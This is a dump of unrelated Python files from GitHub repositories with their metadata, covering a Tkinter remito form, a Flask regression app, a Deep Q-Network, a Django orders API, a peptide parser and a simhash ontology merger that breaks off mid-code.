articulosDelRemitoNombre = []\n listarcombo('Remitos', 'nroRemito')\n # boton_BuscaridRemito.config(state='normal')\n fecha_input.config(state='disabled')\n # boton_buscarProveedor.config(state='disabled')\n # boton_buscarArticulo.config(state='disabled')\n deshabilitarbotones('disabled')\n componenteshabilitarRemito('disabled')\n limpiarCampos()\n idRemito_combo.config(state='normal')\n boton_Eliminar.config(state='normal')\n idRemito_combo.focus()\n\n elif opcion == 'Modificacion':\n listarcombo('Remitos', 'id_Remito')\n idRemito_combo.config(state='normal')\n # boton_BuscaridRemito.config(state='normal')\n idRemito_combo.focus()\n\n fecha_input.config(state='disabled')\n # boton_buscarProveedor.config(state='disabled')\n # boton_buscarArticulo.config(state='disabled')\n deshabilitarbotones('disabled')\n componenteshabilitarRemito('disabled')\n limpiarCampos()\n boton_Actualizar.config(state='normal')","repo_name":"AleMarina74/Python","sub_path":"TPPLL2/menuRemitos.py","file_name":"menuRemitos.py","file_ext":"py","file_size_in_byte":26185,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"8252522467","text":"import numpy as np\nimport scipy.interpolate\n\nimport numpy as np\nfrom scipy import interpolate\n\n\nclass SampleDistribution:\n\n def __init__(self, x, y, bounds_error=False, fill_value=0):\n \"\"\" \"\"\"\n self.zero_flag = False\n\n # compute cumulative distribution\n # with range in 0 and 1\n c = np.cumsum(y)\n c = np.concatenate([[0], c[:-1]])\n if c[-1] > 0:\n c /= c[-1]\n else:\n self.zero_flag = True\n\n # store interpolation function\n if not self.zero_flag:\n self.func = interpolate.interp1d(x, y,\n kind='previous',\n bounds_error=bounds_error,\n fill_value=fill_value)\n\n # construct interpolation function of inverse\n self.cumu_inv_func = interpolate.interp1d(c, x)\n\n def __call__(self, x):\n \"\"\"Evaluate the function\"\"\"\n if self.zero_flag:\n return x * 0.\n return self.func(x)\n\n def sample(self, n):\n \"\"\"Draw samples from the distribution\"\"\"\n if self.zero_flag:\n raise ValueError(\"Cannot draw samples from zero function\")\n u = np.random.uniform(0, 1, n)\n x = self.cumu_inv_func(u)\n return x\n","repo_name":"flepri95/GrismSim","sub_path":"sample_dist.py","file_name":"sample_dist.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"21584098075","text":"from flask import Flask,render_template,url_for,request\nimport pandas as pd\nimport pickle\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.externals import joblib\n\nimport os\nos.chdir(\"D:\\\\Python Flask Codes\\\\Simple Linear Regression\")\n\napp = Flask(__name__)\n\n@app.route('/')\ndef home():\n\treturn render_template('home.html')\n\n@app.route('/predict',methods=['POST'])\ndef predict():\n\tdf= pd.read_csv(\"Salary_Data.csv\")\n\t\n\tregressor = LinearRegression()\n\tregressor.fit(df.YearsExperience.values.reshape(30,1),df.Salary)\n\n\tif request.method == 'POST':\n\t\tvalue = request.form['val']\n\t\tpred = pd.DataFrame([value])\n\t\tpred.columns=['YearsExperience']\n\t\tmy_pred = regressor.predict(pred)\n\treturn render_template('result.html',prediction=my_pred)\n\n\n\nif __name__ == '__main__':\n\tapp.run(debug=True,use_reloader=False)","repo_name":"HarshMohile/DataScienceMLDL","sub_path":"18 Simple Linear Regression/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40945469920","text":"\"\"\"Create a new dataset with a different size and new segmentations\"\"\"\nimport os\n\nfrom cv2 import resize, INTER_NEAREST\nimport numpy as np\nimport pandas as pd\nfrom PIL import Image\nfrom torch import no_grad\nfrom tqdm import tqdm\n\nfrom hpa.data import load_channels\nfrom hpa.segment import HPACellSegmenter\nfrom hpa.utils import create_folder\n\n\nif __name__ == '__main__':\n # ------------------------------------------------------------------------------------------------------------------\n # Constants\n # ------------------------------------------------------------------------------------------------------------------\n IMG_DIM = 1536\n ROOT_DIR = '/home/mchobanyan/data/kaggle/hpa-single-cell/'\n INDEX_PATH = os.path.join(ROOT_DIR, 'splits', 'complete-data-idx.csv')\n\n NUCLEI_PATH = os.path.join(ROOT_DIR, 'misc', 'hpa-cell-seg-weights', 'dpn_unet_nuclei_v1.pth')\n CELL_PATH = os.path.join(ROOT_DIR, 'misc', 'hpa-cell-seg-weights', 'dpn_unet_cell_3ch_v1.pth')\n\n COMPETITION_IMG_DIR = os.path.join(ROOT_DIR, 'train')\n PUBLIC_IMG_DIR = os.path.join(ROOT_DIR, 'misc', 'public-hpa', 'data2')\n\n COMPETITION_OUT_DIR = os.path.join(ROOT_DIR, 'images', 'competition_1536x1536')\n PUBLIC_OUT_DIR = os.path.join(ROOT_DIR, 'images', 'public_1536x1536')\n\n COMPETITION_SEG_DIR = os.path.join(ROOT_DIR, 'segmentation', 'competition_1536x1536')\n PUBLIC_SEG_DIR = os.path.join(ROOT_DIR, 'segmentation', 'public_1536x1536')\n\n create_folder(COMPETITION_OUT_DIR)\n create_folder(PUBLIC_OUT_DIR)\n\n create_folder(COMPETITION_SEG_DIR)\n create_folder(PUBLIC_SEG_DIR)\n\n # ------------------------------------------------------------------------------------------------------------------\n # Resize and segment the images\n # ------------------------------------------------------------------------------------------------------------------\n data_idx = pd.read_csv(INDEX_PATH)\n segmenter = HPACellSegmenter(NUCLEI_PATH, CELL_PATH, device='cuda')\n\n print(f'Resizing images to {IMG_DIM}x{IMG_DIM}')\n for _, (img_id, _, src) in tqdm(data_idx.iterrows(), total=len(data_idx)):\n if src == 'competition':\n img_dir = COMPETITION_IMG_DIR\n out_dir = COMPETITION_OUT_DIR\n seg_dir = COMPETITION_SEG_DIR\n elif src == 'external':\n img_dir = PUBLIC_IMG_DIR\n out_dir = PUBLIC_OUT_DIR\n seg_dir = PUBLIC_SEG_DIR\n else:\n raise ValueError(f'Unknown image source: {src}')\n\n # resize each channel and store them in their respective output directory\n channels = load_channels(img_id, img_dir)\n for color, channel in channels.items():\n resized_channel = resize(channel, (IMG_DIM, IMG_DIM))\n resized_channel = Image.fromarray(resized_channel)\n resized_channel.save(os.path.join(out_dir, f'{img_id}_{color}.png'))\n\n # create the segmentation\n with no_grad():\n cell_seg = segmenter(channels['red'], channels['yellow'], channels['blue'])\n cell_seg = resize(cell_seg, (IMG_DIM, IMG_DIM), interpolation=INTER_NEAREST)\n np.savez_compressed(os.path.join(seg_dir, img_id), cell_seg)\n\n print('Done!\\n')\n print(f'Resized competition images can be found in:\\n{COMPETITION_OUT_DIR}\\n')\n print(f'Resized public HPA images can be found in:\\n{PUBLIC_OUT_DIR}\\n')\n print(f'Competition segmentations can be found in:\\n{COMPETITION_OUT_DIR}\\n')\n print(f'Public HPA segmentations can be found in:\\n{PUBLIC_OUT_DIR}\\n')\n","repo_name":"martin-chobanyan/hpa-single-cell","sub_path":"scripts/resize_dataset.py","file_name":"resize_dataset.py","file_ext":"py","file_size_in_byte":3529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"17232033076","text":"'''\n\n两个线程同时工作,一个存钱,一个取钱\n\n加锁\n\n'''\n\nimport threading\n\nlock = threading.Lock()\n\nnum = 0\ndef run(n):\n global num\n # 锁\n # 确保了这段代码只能有一个线程从头到尾得完整执行\n # 阻止了多线程得并发执行,包含锁得某段代码实际上只能以单线程模式执行,所以效率大大降低了\n # 由于它可以存在多个锁,而且不同线程持有不同得锁,并且试图获得其他得锁,可能造成死锁,导致多个线程挂起,只能操作系统强制终止\n '''lock.acquire()\n try:\n for i in range(100000000):\n num = num + n\n num = num - n\n finally:\n # 修改完一定要释放锁\n lock.release()'''\n\n # 与上面代码功能相同.with lock 可以自动上锁与解锁\n with lock:\n for i in range(100000000):\n num = num + n\n num = num - n\n\n\n\n\n\n\n\nif __name__ == '__main__':\n t1 = threading.Thread(target=run,args=(2,))\n t2 = threading.Thread(target=run,args=(7,))\n t1.start()\n t2.start()\n t1.join()\n t2.join()\n\n print(\"num = \",num)","repo_name":"Xiaochaosui/python_learning","sub_path":"多任务原理/3、线程/4、线程锁解决数据混乱.py","file_name":"4、线程锁解决数据混乱.py","file_ext":"py","file_size_in_byte":1146,"program_lang":"python","lang":"zh","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"24762722955","text":"\"\"\"Given a word W and a string S, find all starting indices in S which are anagrams of W.\nFor example, given that W is \"ab\", and S is \"abxaba\", return 0, 3, and 4\n\"\"\"\n\ndef all_present(a, b):\n if len(a) != len(b):\n return False\n for achar in a:\n if achar not in b:\n return False\n return True\n\ndef anagrams_indices(w, s):\n indices = []\n wlen = len(w)\n for i in range(len(s)-wlen+1):\n if all_present(w, s[i:i+wlen]):\n indices.append(i)\n return indices\n\nif __name__ == \"__main__\":\n assert anagrams_indices(\"ab\", \"abxaba\") == [0, 3, 4]\n assert anagrams_indices(\"acd\", \"dca\") == [0]\n","repo_name":"TetianaHrunyk/DailyCodingProblems","sub_path":"challenge111.py","file_name":"challenge111.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22662801444","text":"from django.http import Http404\n\nfrom rest_framework import generics, mixins, status\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\n\nfrom orders.models import Order, OrderItem\n\nfrom orders.serializers import OrderSerializer, OrderItemSerializer\n\n\n# API to see orders\nclass OrderGenericAPIView(generics.GenericAPIView, mixins.RetrieveModelMixin, mixins.ListModelMixin, mixins.CreateModelMixin, mixins.UpdateModelMixin, mixins.DestroyModelMixin):\n\n queryset = Order.objects.all()\n serializer_class = OrderSerializer\n\n # get all order information or only 1 order by id\n def get(self, request, pk=None):\n if pk:\n return self.retrieve(request, pk)\n\n return self.list(request)\n\n # post (create) order information - to bind to user, i.e user: 3\n def post(self, request, pk=None):\n response = self.create(request)\n return response\n\n # patch (update) order information ?\n def patch(self, request, pk=None):\n response = self.partial_update(request, pk)\n return response\n\n # delete order totally (probs wont use)\n def delete(self, request, pk=None):\n response = self.destroy(request, pk)\n return response\n\n\n# API to see order details by order id\nclass OrderDetailsAPIView(APIView):\n\n # 1. get order first\n def get_order(self, orderId):\n try:\n return Order.objects.get(id=orderId)\n except Order.DoesNotExist:\n raise Http404\n\n # 2. get the actual order after serializing\n def get(self, request, orderId):\n order = self.get_order(orderId)\n serializer = OrderSerializer(order)\n return Response(serializer.data)\n\n # 3. update the specific order\n # delete this?\n def patch(self, request, orderId):\n order = self.get_order(orderId)\n serializer = OrderSerializer(order, request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\n# API to get the order details\nclass OrderDetailsItemAPIView(APIView):\n\n # 1. function to get the orderitem from db\n def get_orderitems(self, orderId):\n try:\n return OrderItem.objects.filter(order_id=orderId)\n except OrderItem.DoesNotExist:\n raise Http404\n\n # 2. ENDPOINT to get the order items inside the order id\n def get(self, request, orderId):\n orderitems = self.get_orderitems(orderId)\n serializer = OrderItemSerializer(orderitems, many=True)\n return Response(serializer.data)\n\n # 3. create items to the order\n def post(self, request, orderId):\n serializer = OrderItemSerializer(data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n","repo_name":"c-zhenhao/czhenhao-sei35-project4","sub_path":"backend/backapp/orders/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2989,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22884226016","text":"import numpy as np\r\nfrom pulp import *\r\n\r\nN, M = 50, 50\r\n\r\nnp.random.seed(0)\r\ncost_matrix = np.random.randint(10, 100, size=(N, M))\r\n\r\nprob = LpProblem(\"Minimizar Custo de Designação\", LpMinimize)\r\n\r\nx = LpVariable.dicts(\"x\", (range(N), range(M)), 0, 1, LpBinary)\r\n\r\nprob += lpSum([cost_matrix[i][j] * x[i][j] for i in range(N) for j in range(M)])\r\n\r\nfor i in range(N):\r\n prob += lpSum([x[i][j] for j in range(M)]) <= 1\r\n\r\nfor j in range(M):\r\n prob += lpSum([x[i][j] for i in range(N)]) == 1\r\n\r\nprob.solve()\r\n\r\nprint(\"Status:\", LpStatus[prob.status])\r\nfor i in range(N):\r\n for j in range(M):\r\n if x[i][j].varValue == 1:\r\n print(f\"Funcionário {i} atribuído à tarefa {j}\")\r\nprint(\"Custo Total:\", value(prob.objective))\r\n","repo_name":"JoaoRenato2/Trabalho-PesquisaOperacional","sub_path":"PO.py","file_name":"PO.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"2694659836","text":"import numpy as np\nimport tensorflow as tf\nimport matplotlib.pyplot as plt\n\n\nclass Brain:\n def __init__(self, num_features, num_actions,\n learning_rate=0.001,\n gamma_decay=0.99,\n epsilon_greedy=0.9,\n epsilon_greedy_delta=0.0002,\n unfreeze_q=300,\n memory_size=500,\n hidden_units=(10, 20),\n batch_size=32,\n output_graph=False):\n # Initialize parameters\n self.num_actions = num_actions\n self.num_features = num_features\n self.learning_rate = learning_rate\n self.gamma_decay = gamma_decay\n self.epsilon_greedy = 0.1\n self.epsilon_greedy_max = epsilon_greedy\n self.epsilon_greedy_delta = epsilon_greedy_delta\n self.learn_fix = (self.epsilon_greedy + self.epsilon_greedy_max) / 2\n self.unfreeze_q = unfreeze_q\n self.memory_size = memory_size\n self.hidden_units = hidden_units\n self.batch_size = batch_size\n self.output_graph = output_graph\n\n self.update_counter = 0\n\n # Use a memory repository that has form [state, action, reward, state_prime]\n self.memory = np.zeros((self.memory_size, self.num_features * 2 + 2))\n\n # Build up neural nets\n self.build_nets()\n params_fresh = tf.get_collection(\"fresh_net_params\")\n params_fixed = tf.get_collection(\"fixed_net_params\")\n\n self.replace = [tf.assign(fixed, fresh) for fixed, fresh in zip(params_fixed, params_fresh)]\n\n self.sess = tf.Session()\n\n if output_graph:\n tf.summary.FileWriter(\"logs/\", self.sess.graph)\n\n self.sess.run(tf.global_variables_initializer())\n self.history = []\n\n\n def build_nets(self):\n w_initializer = tf.contrib.layers.xavier_initializer()\n\n # Build the first Q net (Q_fresh) which is kept fresh after every step\n\n # Create two placeholders for Q_fresh\n self.state_input = tf.placeholder(tf.float32, shape=(None, self.num_features), name=\"state_input\")\n self.Q_TD = tf.placeholder(tf.float32, shape=(None, self.num_actions), name=\"Q_fixed\")\n\n with tf.variable_scope(\"Fresh\"):\n names_fresh = [\"fresh_net_params\", tf.GraphKeys.GLOBAL_VARIABLES]\n\n with tf.variable_scope(\"layer_1\"):\n w1_fresh = tf.get_variable(\"w1_fresh\",\n shape=(self.num_features, self.hidden_units[0]),\n initializer=w_initializer,\n collections=names_fresh)\n layer_1_fresh = tf.nn.relu(tf.matmul(self.state_input, w1_fresh))\n\n with tf.variable_scope(\"layer_2\"):\n w2_fresh = tf.get_variable(\"w2_fresh\",\n shape=(self.hidden_units[0], self.hidden_units[1]),\n initializer=w_initializer,\n collections=names_fresh)\n layer_2_fresh = tf.nn.relu(tf.matmul(layer_1_fresh, w2_fresh))\n\n with tf.variable_scope(\"layer_3\"):\n w3_fresh = tf.get_variable(\"w3_fresh\",\n shape=(self.hidden_units[1], self.num_actions),\n initializer=w_initializer,\n collections=names_fresh)\n self.Q_fresh = tf.matmul(layer_2_fresh, w3_fresh)\n\n # Compute the MSE between Q-network and Q-learning targets\n with tf.variable_scope(\"loss\"):\n self.loss = tf.reduce_mean(tf.squared_difference(self.Q_TD, self.Q_fresh))\n with tf.variable_scope(\"train\"):\n # Create an optimizer\n self.training_opt = tf.train.RMSPropOptimizer(self.learning_rate).minimize(self.loss)\n\n # Build the second Q net (Q_fixed) which is only updated to Q_fresh every hundreds of steps\n\n # Create a placeholder\n self.state_prime = tf.placeholder(tf.float32, shape=(None, self.num_features), name=\"state_prime\")\n\n with tf.variable_scope(\"Fixed\"):\n names_fixed = [\"fixed_net_params\", tf.GraphKeys.GLOBAL_VARIABLES]\n\n with tf.variable_scope(\"layer_1\"):\n w1_fixed = tf.get_variable(\"w1_fixed\",\n shape=(self.num_features, self.hidden_units[0]),\n initializer=w_initializer,\n collections=names_fixed)\n\n layer_1_fixed = tf.nn.relu(tf.matmul(self.state_prime, w1_fixed))\n\n with tf.variable_scope(\"layer_2\"):\n w2_fixed = tf.get_variable(\"w2_fixed\",\n shape=(self.hidden_units[0], self.hidden_units[1]),\n initializer=w_initializer,\n collections=names_fixed)\n layer_2_fixed = tf.nn.relu(tf.matmul(layer_1_fixed, w2_fixed))\n\n with tf.variable_scope(\"layer_3\"):\n w3_fixed = tf.get_variable(\"w3_fixed\",\n shape=(self.hidden_units[1], self.num_actions),\n initializer=w_initializer,\n collections=names_fixed)\n self.Q_next = tf.matmul(layer_2_fixed, w3_fixed)\n\n\n def add_memory(self, state, action, reward, state_prime):\n if not hasattr(self, \"index\"):\n self.index = 0\n\n new_piece = np.hstack((state, [action, reward], state_prime))\n\n # Add this new piece of memory by replacing the old one\n self.index = self.index % self.memory_size\n self.memory[self.index, :] = new_piece\n\n self.index += 1\n\n\n def choose_action(self, state):\n # Perform epsilon greedy to choose an action, given state\n Q_values = self.sess.run(self.Q_fresh, feed_dict={self.state_input: state[np.newaxis, :]})\n\n # (1 - epsilon) probability to explore uniformly\n dstb = np.ones(self.num_actions) * (1 - self.epsilon_greedy) / self.num_actions\n\n # epsilon probability to exploit optimal action\n exploit = np.argmax(Q_values)\n dstb[exploit] = dstb[exploit] + self.epsilon_greedy\n\n action = np.random.choice(self.num_actions, p=dstb)\n\n return action\n\n\n def learn_one_step(self):\n # Check first if need to update the fixed Q net\n if self.update_counter == self.unfreeze_q:\n self.sess.run(self.replace)\n self.update_counter = 0\n self.epsilon_greedy = (self.epsilon_greedy + self.learn_fix) / 2\n # print(\"Updated Q fixed!\", self.epsilon_greedy, self.learn_fix)\n\n # Sample from memory\n sample_index = np.random.choice(self.memory_size, size=self.batch_size)\n\n batch = self.memory[sample_index, :]\n\n q_next, q_fresh = self.sess.run([self.Q_next, self.Q_fresh],\n feed_dict={self.state_input: batch[:, :self.num_features],\n self.state_prime: batch[:, -self.num_features:]})\n\n # Now compute the TD term from q_next\n q_TD = np.copy(q_fresh)\n\n row_indices = np.arange(self.batch_size, dtype=np.int32)\n actions = batch[:, self.num_features].astype(int)\n rewards = batch[:, self.num_features + 1]\n\n q_TD[row_indices, actions] = rewards + self.gamma_decay * np.max(q_next, axis=1)\n\n # Feed the Q nets to perform one step of update\n _, cost = self.sess.run([self.training_opt, self.loss],\n feed_dict={self.state_input: batch[:, :self.num_features],\n self.Q_TD: q_TD})\n\n self.update_counter += 1\n\n def decrease_explore(self):\n self.epsilon_greedy = (self.epsilon_greedy + self.epsilon_greedy_max) / 2\n self.learn_fix = (self.epsilon_greedy + self.epsilon_greedy_max) / 2\n\n def plot_history(self, title, filename):\n plt.plot(np.arange(len(self.history)), self.history)\n plt.title(title)\n plt.ylabel(\"Total steps in one episode\")\n plt.xlabel(\"Learned episodes\")\n plt.savefig(filename)\n plt.show()\n","repo_name":"DianCh/Deep_Reinforcement_Learning","sub_path":"DeepQNetwork.py","file_name":"DeepQNetwork.py","file_ext":"py","file_size_in_byte":8369,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"70191525530","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#########################################################################\n# Author: Johnny Shi\n# Created Time: 2018-10-30 20:07:06\n# File Name: 69_Sqrtx.py\n# Description:\n#########################################################################\nimport math\n\n\nclass Solution:\n def mySqrt1(self, x):\n \"\"\"\n :type x: int\n :rtype: int\n \"\"\"\n ret = math.sqrt(x)\n return int(math.floor(ret))\n\n def mySqrt(self, x):\n \"\"\"\n :type x: int\n :rtype: int\n \"\"\"\n ret = 0\n left, right = 1, x\n while left <= right:\n mid = (left + right) // 2\n if (mid * mid) <= x:\n left = mid + 1\n ret = mid\n else:\n right = mid - 1\n return ret\n\n\nprint(Solution().mySqrt(8))\n# vim: set expandtab ts=4 sts=4 sw=4 :\n","repo_name":"johnnyshi1225/leetcode","sub_path":"problems/69_Sqrtx.py","file_name":"69_Sqrtx.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"35087273830","text":"import glob, os\nimport parameters\nimport multiprocessing\nimport cPickle as pickle\n\n\ndef chunks(l, n):\n \"\"\"Yield successive n-sized chunks from l.\"\"\"\n for i in xrange(0, len(l), n):\n yield l[i:i + n]\n\n\ndef read_bait_dict_from_csv(csv_filename):\n dict_temp = {}\n with open(csv_filename, 'rb') as csv_read:\n for line in csv_read:\n split_line = line.rstrip().split(',')\n filename = split_line[0]\n bait_gene = split_line[1]\n dict_temp[filename] = bait_gene\n return dict_temp\n\n\ndef read_peptide_from_files(file_chunk):\n peptide_list_temp = []\n uniprot_id = []\n peptide_line = 1\n peptide_spec_list = []\n filename_bait_dict = read_bait_dict_from_csv(parameters.filename_bait_dict_csv)\n filename_bait_dict_set = set(filename_bait_dict.keys())\n for each_file in file_chunk:\n with open(each_file, 'rb') as file_open:\n for line in file_open:\n split_line = line.split('\\t')\n if len(split_line) > 3:\n if split_line[0].startswith('sp|') or split_line[0].startswith('tr|'):\n if peptide_line == 0:\n uniprot_id.append(split_line[0].split('|')[1])\n elif peptide_line == 1:\n if len(uniprot_id) > 0:\n peptide_list_temp.append((uniprot_id, peptide_spec_list))\n uniprot_id = []\n peptide_spec_list = []\n uniprot_id.append(split_line[0].split('|')[1])\n else:\n uniprot_id.append(split_line[0].split('|')[1])\n peptide_line = 0\n elif len(split_line) == 15 and split_line[1].count('.') == 3:\n unique_or_not = (split_line[0] == '*')\n filename_bait = split_line[1].split('.')[0]\n if filename_bait in filename_bait_dict_set:\n bait_protein = filename_bait_dict[filename_bait]\n else:\n bait_protein = 'None'\n sequence = split_line[-1].rstrip()[2:-2]\n peptide_spec_list.append((unique_or_not, bait_protein, sequence))\n peptide_line = 1\n return peptide_list_temp\n\n\ndef step_1_gen_all_peptide(all_peptide_filename):\n os.chdir(parameters.dta_select_result_dir)\n filename = glob.glob(\"*.dta\")\n file_chunks = chunks(filename, int(len(filename) / parameters.maximum_thread_number + 1))\n pool = multiprocessing.Pool(processes=parameters.maximum_thread_number)\n peptide_list = pool.map(read_peptide_from_files, file_chunks)\n pool.close()\n pool.join()\n os.chdir(parameters.dta_select_result_dir)\n pickle.dump(peptide_list, open(all_peptide_filename, 'wb'), protocol=2)\n\n\nif __name__ == '__main__':\n step_1_gen_all_peptide(parameters.all_peptide)\n","repo_name":"bathyg/PATS","sub_path":"library/step_1_dta_processor.py","file_name":"step_1_dta_processor.py","file_ext":"py","file_size_in_byte":3038,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"34407171892","text":"#先按id匹配,根据最大类数调整阈值\n#问题:flags=1的影响 有些个数1夹杂在merge中\nfrom nltk.tokenize import RegexpTokenizer\nfrom stop_words import get_stop_words\nfrom nltk.stem.porter import PorterStemmer\n#from gensim import corpora, models\n#import gensim\nfrom simhash import Simhash,SimhashIndex\nimport re\nimport xlrd\nimport os\nfrom xlutils.copy import copy\nimport pandas as pd\nimport numpy as np\nimport time\n#import toExcel\n#toExcel.filesToExcel()\n#OriginalFile = pd.read_excel(\"test1.xls\", None)\n#print(type(OriginalFile['merged']['Syn'][1]))\n\n\nfilename = \"base3(IDfixed).xlsx\"\nworkbook = xlrd.open_workbook(filename)\ndef get_simhash_topics(sheet_name):\n sheet = workbook.sheet_by_name(sheet_name)\n cols = sheet.col_values(3) #同义词列表\n #print(cols)\n cols_name = sheet.col_values(2) #名称\n cols_id = sheet.col_values(0) #id\n cols_ids=sheet.col_values(1)\n doc_list = []\n for index, col in enumerate(cols):\n if index == 0:\n continue\n if col == '':\n col = []\n else:\n col = eval(col)\n col = set(col)\n col.add(cols_name[index])\n col=list(col)\n #print(col)\n doc_list.append(col)\n #print(doc_list)\n tokenizer = RegexpTokenizer(r'\\w+') # 1匹配所有单字字符,直到其遇到像空格这样的非单字的字符。\n en_stop = get_stop_words(\"en\") # 1移除停用词\n p_stemmer = PorterStemmer() # 1词干提取\n # 第一阶段:清洗文档,结果是文本texts\n simhash_topics = []\n for index,doc_set in enumerate(doc_list):\n id = cols_id[index+1]\n ids=cols_ids[index+1]\n ids=eval(ids)\n ids.append(id)\n ids=list(set(ids))\n #print(ids)\n #ids=eval(ids)\n #print(id)\n #print(ids)\n doc_tokens=[]\n for i in doc_set:\n texts = []\n raw = i.lower() #str\n #print(raw)\n tokens = tokenizer.tokenize(raw) # 2匹配所有单字字符,直到其遇到像空格这样的非单字的字符。 list\n #print(tokens)\n stopped_tokens = [i for i in tokens if not i in en_stop] # 2移除停用词\n stemmed_tokens = [p_stemmer.stem(i) for i in stopped_tokens] # 2词干提取\n #texts.append(stemmed_tokens)\n '''print(texts)\n print(stemmed_tokens)'''\n # 第二阶段:构建 document-term matrix\n '''dictionary = corpora.Dictionary(texts) # Dictionary() 方法遍历所有的文本,为每个不重复的单词分配一个单独的整数 ID,同时收集该单词出现次数以及相关的统计信息\n #print(i,dictionary)\n corpus = [dictionary.doc2bow(text) for text in texts] # doc2bow() 方法将 dictionary 转化为一个词袋。得到的结果 corpus 是一个向量的列表,向量的个数就是文档数。\n #print(corpus)\n # 第三阶段:应用LDA模型\n ldamodel = gensim.models.ldamodel.LdaModel(corpus, num_topics=3, id2word=dictionary, passes=3)\n #print(ldamodel)\n topics = ldamodel.print_topics(num_topics=1, num_words=4)\n #print(topics)\n\n simhash_topic = re.findall('\"(\\w+)\"', topics[0][1])\n print(simhash_topic,i,doc_set,id)\n simhash_topics.append((simhash_topic,i,doc_set,id))'''\n #print(i,stemmed_tokens)\n doc_tokens.extend(stemmed_tokens)\n #print(tokens)\n #print(stemmed_tokens,i,doc_set,id)\n #['dentin', 'secondari'] Dentin, Secondary {'Dentin, Secondary', 'Secondary Dentin'} Mesh:D003809\n doc_tokens=list(set(doc_tokens))\n simhash_topics.append((doc_tokens, doc_set, id,ids, sheet_name))\n #print(simhash_topics[-1])\n #提取词干后的同义词表,同义词表,ID,id列表,来自哪个库\n return simhash_topics\n\ndef listProceed(inputLists):\n #inputLists=[ [],[],...,[] ]\n flagChanged = 1\n while flagChanged == 1:\n tempLists = []\n flags = [0 for i in range(len(inputLists))]\n for i in range(len(inputLists)):\n if flags[i] == 0:\n temp = []\n for ii in inputLists[i]:\n temp.append(ii)\n tempLists.append(temp)\n flags[i] = 1\n for j in range(i + 1, len(inputLists)):\n if flags[j] == 0:\n for k in inputLists[j]:\n if k in tempLists[-1]:\n flags[j] = 1\n for l in inputLists[j]:\n tempLists[-1].append(str(l))\n break\n # IDPairList[j]=[]\n if len(tempLists) == len(inputLists):\n flagChanged = 0\n break\n inputLists = tempLists.copy()\n inputLists2=[list(set(x)) for x in inputLists]\n return inputLists2\n\ndef getObjs(objects,base):\n for i,j in enumerate(base):\n if objects!=[]:\n objects.append((str(int(objects[-1][0])+1),Simhash(j[0])))\n else:\n objects.append((str(i),Simhash(j[0])))\n\nSimhashObjs=[]\n\nDO = get_simhash_topics(\"DO\")\nprint('lenDOID %d'%(len(DO)))\ngetObjs(SimhashObjs,DO)\n\nICD10CM= get_simhash_topics(\"ICD10CM\")\nprint('lenICD10CM %d'%(len(ICD10CM)))\ngetObjs(SimhashObjs,ICD10CM)\n\nICD10=get_simhash_topics(\"ICD10\")\nprint('lenICD10 %d'%(len(ICD10)))\ngetObjs(SimhashObjs,ICD10)\n\nMeSH = get_simhash_topics(\"MeSH\")\nprint('lenMeSH %d'%(len(MeSH)))\ngetObjs(SimhashObjs,MeSH)\n\nprint('len %d'%(len(SimhashObjs)))\nDO.extend(ICD10CM)\nDO.extend(ICD10)\nDO.extend(MeSH) #delete?\n#print(DO)\ndef contrast(threshold):\n SimIndex=SimhashIndex(SimhashObjs,k=threshold)\n df=pd.DataFrame({\"ID\":[],\"Syn\":[],\"CrossReference\":[]})\n df2=pd.DataFrame({\"ID\":[],\"Syn\":[]})\n #a,adoc_set,aid,sheet_name,from\n dict={} #ID:同义词表 type:list\n xref=[] #id匹配\n IDPairList=[] #两两匹配的ID\n IDPairSynList=[]\n unMerged=[] #未匹配的ID\n unMergedSyn=[]\n flags=[0 for i in range(len(DO))] #1已配对 0未配对\n idflags=[0 for i in range(len(DO))]\n for i in range(len(DO)):\n print('\\r'+str(i),end='',flush=True)\n idMatched = 0\n for j in range(i + 1, len(DO)):\n idMatch = 0\n for id1 in DO[i][3]:\n if idMatch == 1:\n break\n for id2 in DO[j][3]:\n if id1 == id2:\n idMatch = 1\n idMatched = 1\n break\n # distance_simhash=Simhash(DO[i][0]).distance(Simhash(DO[j][0]))\n if idMatch == 1:\n idMatch = 0\n idflags[i]=1\n idflags[j]=1\n dict[str(i)] = DO[i][1] # DO[i][2]=id\n dict[str(j)] = DO[j][1]\n IDPair = [str(i), str(j)]\n\n IDPairList.append(IDPair)\n xref.append(IDPair)\n\n if flags[i]==0:\n near=SimIndex.get_near_dups(Simhash(DO[i][0]))\n if len(near)==1 and near[0]==str(i) and idMatched==0: #未匹配\n dict[str(i)]=DO[i][1]\n unMerged.append(str(i))\n unMergedSyn.append(DO[i][1])\n #elif len(near)>1 and idMatched==0:\n elif len(near)>1:\n IDPair=[]\n if len(near)>1:\n while len(near)>0:\n temp=int(near.pop())\n 